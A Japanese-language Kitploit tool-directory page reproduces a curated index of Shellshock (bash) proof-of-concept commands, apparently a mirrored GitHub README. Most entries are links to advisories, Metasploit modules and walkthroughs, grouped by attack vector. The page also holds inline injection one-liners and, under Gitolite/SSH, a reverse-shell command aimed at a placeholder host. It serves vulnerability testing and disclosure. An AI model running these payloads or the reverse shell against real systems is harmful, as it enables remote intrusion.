Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
shellshocker-pocs — #ShellShocker 向けの Proof of Concept と潜在的なターゲットのコレクション | Kitploit
ツール/GitHubGitHub/mubix/shellshocker-pocs
脆弱性スキャナー脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト厳選リソース
GitHubmubix/shellshocker-pocs

shellshocker-pocs

#ShellShocker 向けの Proof of Concept と潜在的なターゲットのコレクション

リポジトリを見る
88919056年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Shellshocker - 「Shellshock」の概念実証コードのリポジトリ

=================

「#ShellShocker」の概念実証コードと潜在的なターゲットのコレクション

Wikipediaリンク: https://en.wikipedia.org/wiki/Shellshock_%28software_bug%29#CVE-2014-7186_and_CVE-2014-7187_Details

追加のリンクやリソースがあれば、プルリクエストを送信してください。

推測:(未確認・脆弱性の可能性あり)

  • XMPP(ejabberd)
  • Mailman - 脆弱性なしと確認済み
  • MySQL
  • NFS
  • Bind9
  • Procmail 参照
  • Exim 参照
  • Juniper Google検索inurl:inurl:/dana-na/auth/url_default/welcome.cgi
    • 経由: https://twitter.com/notsosecure/status/516132301025984512
    • 経由: http://kb.juniper.net/InfoCenter/index?page=content&id=JSA10648&actp=RSS
  • Cisco Gear
    • 経由: http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140926-bash
  • FreePB / Asterix ここでパッチ適用済み

これらのいずれかのPoCをご存知の場合は、リンク付きでイシューまたはプルリクエストを送信してください。

コマンドライン (Linux、OSX、Cygwin経由のWindows)

  • bashcheck - 最新の脆弱性をテストするスクリプト

CVE-2014-6271

  • env X='() { :; }; echo "CVE-2014-6271 vulnerable"' bash -c id

CVE-2014-7169

脆弱な場合、カレントディレクトリ(cwd)に現在の日付を含むechoという名前のファイルを作成します

  • env X='() { (a)=>\' bash -c "echo date"; cat echo

CVE-2014-7186

  • bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' || echo "CVE-2014-7186 vulnerable, redir_stack"

CVE-2014-7187

  • (for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) | bash || echo "CVE-2014-7187 vulnerable, word_lineno"

CVE-2014-6278

  • env X='() { _; } >_[$($())] { echo CVE-2014-6278 vulnerable; id; }' bash -c :
  • 追加情報: http://lcamtuf.blogspot.com/2014/10/bash-bug-how-we-finally-cracked.html

CVE-2014-6277

脆弱な場合、セグメンテーションフォルトが発生します

  • env X='() { x() { _; }; x() { _; } <<a; }' bash -c :
  • fulldisclosureでの追加議論: http://seclists.org/fulldisclosure/2014/Oct/9
  • 追加情報: http://lcamtuf.blogspot.com/2014/10/bash-bug-how-we-finally-cracked.html

IBM z/OS -

  • http://mainframed767.tumblr.com/post/98446455927/bad-news-is-it-totally-works-in-bash-on-z-os-and

HTTP

  • Metasploitエクスプロイトモジュール - Apache mod_cgi Bash環境変数コードインジェクション (Shellshock)
  • Metasploitエクスプロイトモジュール - Advantech Switch Bash環境変数コードインジェクション (Shellshock)
  • Metasploitエクスプロイトモジュール - IPFire Bash環境変数インジェクション (Shellshock)
  • HTTPヘッダ汚染 by @irsdl - http://pastebin.com/QNkf7dYS
  • HTTP CGI-BIN - http://pastebin.com/166f8Rjx
  • cPanel - http://blog.sucuri.net/2014/09/bash-vulnerability-shell-shock-thousands-of-cpanel-sites-are-high-risk.html
  • Digital Alert Systems DASDEC - http://seclists.org/fulldisclosure/2014/Sep/107
  • F5 - https://twitter.com/securifybv/status/515035044294172673
    • https://twitter.com/securifybv/status/515035044294172673/photo/1
    • https://twitter.com/avalidnerd/status/515056463589675008
      • https://twitter.com/avalidnerd/status/515056463589675008/photo/1
  • Invisiblethreat.ca - https://www.invisiblethreat.ca/2014/09/cve-2014-6271/
  • コマンドライン版 - https://gist.github.com/mfadzilr/70892f43597e7863a8dc
  • LiveHTTPHeadersを使用したUser-Agentベースのウォークスルー - http://www.lykostech.net/lab-time-exploiting-shellshock-bash-bug-virtual-server/
  • Burpを使用したUser-Agentベースのウォークスルー - http://oleaass.com/shellshock-proof-of-concept-reverse-shell/
  • User-Agentベースだが、TorとSocks5をサポート (Python) - https://github.com/lnxg33k/misc/blob/master/shellshock.py
  • Rubyで書かれたUser-Agentベース - https://github.com/securusglobal/BadBash
  • sleepを使用したヘッダーベースのシンプルなスキャナ(マルチスレッド対応) - https://github.com/gry/shellshock-scanner
  • shocker - ファイル内のURLリストまたは単一のURLに対して、既知の脆弱なCGIリソースのリストをチェックします (Content-type Method)
  • Xymon - https://lists.xymon.com/archive/2014-September/040350.html
  • QNAP - https://www.exploit-db.com/exploits/36503

Phusion Passenger

  • https://news.ycombinator.com/item?id=8369776

DHCP

  • Tftpd32を介したTrusted Secエクスプロイト - https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/
  • Metasploitエクスプロイトモジュール - Dhclient Bash環境変数インジェクション (Shellshock)
  • Metasploit補助モジュール - https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/server/dhclient_bash_env.rb
  • Perlスクリプト - http://pastebin.com/S1WVzTv9
  • Wi-Fiパイナップルを使用して人々をネットワークに強制参加させる - http://d.uijn.nl/?p=32

SSH

  • Stack Overflow - http://unix.stackexchange.com/questions/157477/how-can-shellshock-be-exploited-over-ssh
  • SSH ForcedCommand - https://twitter.com/JZdziarski/status/515205581226123264
    • https://twitter.com/JZdziarski/status/515205581226123264/photo/1
  • SendEnv: LC_X='() { :; }; echo vulnerable' ssh [email protected] -o SendEnv=LC_X
  • Gitolite - https://twitter.com/Grifo/status/515089986161766400
    • $ ssh GITOLITEUSER@VULNERABLEIP '() { ignore;}; /bin/bash -i >& /dev/tcp/REVERSESHELLIP/PORT 0>&1'
    • (サーバーにgitアカウントを持っている必要があります)

OSX

  • VMware Fusionを介した権限昇格 - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/osx/local/vmware_bash_function_root.rb
  • 修正: http://support.apple.com/kb/DL1769

OSX - reverse DNS付き (CVE-2014-3671.txt)

  • CVE-2014-6271の例を含むゾーンファイルの例: in-addr.arpa
  • setenv()に渡すgetnameinfo()を含むファイルの例: osx-rev-ptr.c
  • 上記の説明を含むアドバイザリ CVE-2014-3671.txt

SIP

  • SIPプロキシ: https://github.com/zaf/sipshock

Qmail

  • 詳細なウォークスルー - http://marc.info/?l=qmail&m=141183309314366&w=2
  • @ymzkei5からのツイート - http://twitter.com/ymzkei5/status/515328039765307392
    • http://twitpic.com/ec3615
    • http://twitpic.com/ec361o

Postfix

  • http://packetstormsecurity.com/files/128572/postfixsmtp-shellshock.txt

FTP

  • Pure-FTPd: https://gist.github.com/jedisct1/88c62ee34e6fa92c31dc
  • Metasploitエクスプロイトモジュール - Pure-FTPd外部認証Bash環境変数コードインジェクション (Shellshock)

OpenVPN

  • OpenVPN - https://news.ycombinator.com/item?id=8385332
  • @fj33rによるPoCウォークスルー - http://sprunge.us/BGjP

Oracle

  • アラートと影響を受ける製品のリスト

TMNT

  • https://twitter.com/SynAckPwn/status/514961810320293888/photo/1

Hand

  • @DJManilaIce経由 - http://pastie.org/9601055
root@kitploit:~
user@localhost:~$ env X='() { (a)=>\' /bin/bash -c "shellshocker echo -e \"           __ __\n          /  V  \ \n     _    |  |   |\n    / \   |  |   |\n    |  |  |  |   |\n    |  |  |  |   |\n    |  |__|  |   |\n    |  |  \  |___|___\n    |  \   |/        \ \n    |   |  |______    |\n    |   |  |          |\n    |   \__'   /     |\n    \        \(     /\n     \             /\n      \|            |\n\""; cat shellshocker
/bin/bash: X: line 1: syntax error near unexpected token `='
/bin/bash: X: line 1: `'
/bin/bash: error importing function definition for `X'
           __ __
          /  V  \ 
     _    |  |   |
    / \   |  |   |
    |  |  |  |   |
    |  |  |  |   |
    |  |__|  |   |
    |  |  \  |___|___
    |  \   |/        \ 
    |   |  |______    |
    |   |  |          |
    |   \__'   /     |
    \        \(     /
     \             /
      \|            |

CUPS

  • Metasploitエクスプロイトモジュール - CUPSフィルタBash環境変数コードインジェクション

IRC

  • Metasploitエクスプロイトモジュール - Xdh / LinuxNet Perlbot / fBot IRCボットリモートコード実行
  • Metasploitエクスプロイトモジュール - Legend Perl IRCボットリモートコード実行

@primalsecのスクリプト

  • shell_shocker.py - 既知の脆弱なURLと対話してコマンドを渡すのに適しています (User-Agent Method)
  • w3af_shocker.py - w3afスパイダー/shell_shockスキャンの実行プロセスを自動化します (User-Agent Method)
  • shell_sprayer.py - ファイル内のURLリスト、または単一のURLを既知のcgi-binリソースのリストに対してチェックします (User-Agent Method)
ツールをダウンロード